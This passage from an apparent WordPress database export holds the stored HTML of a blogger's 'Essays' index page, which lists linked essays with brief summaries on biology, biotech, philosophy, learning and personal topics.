back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2024-06-12 17:52:31','2024-06-12 17:52:31','',22,'https://trevorklee.com/?p=453',0,'revision','',0),
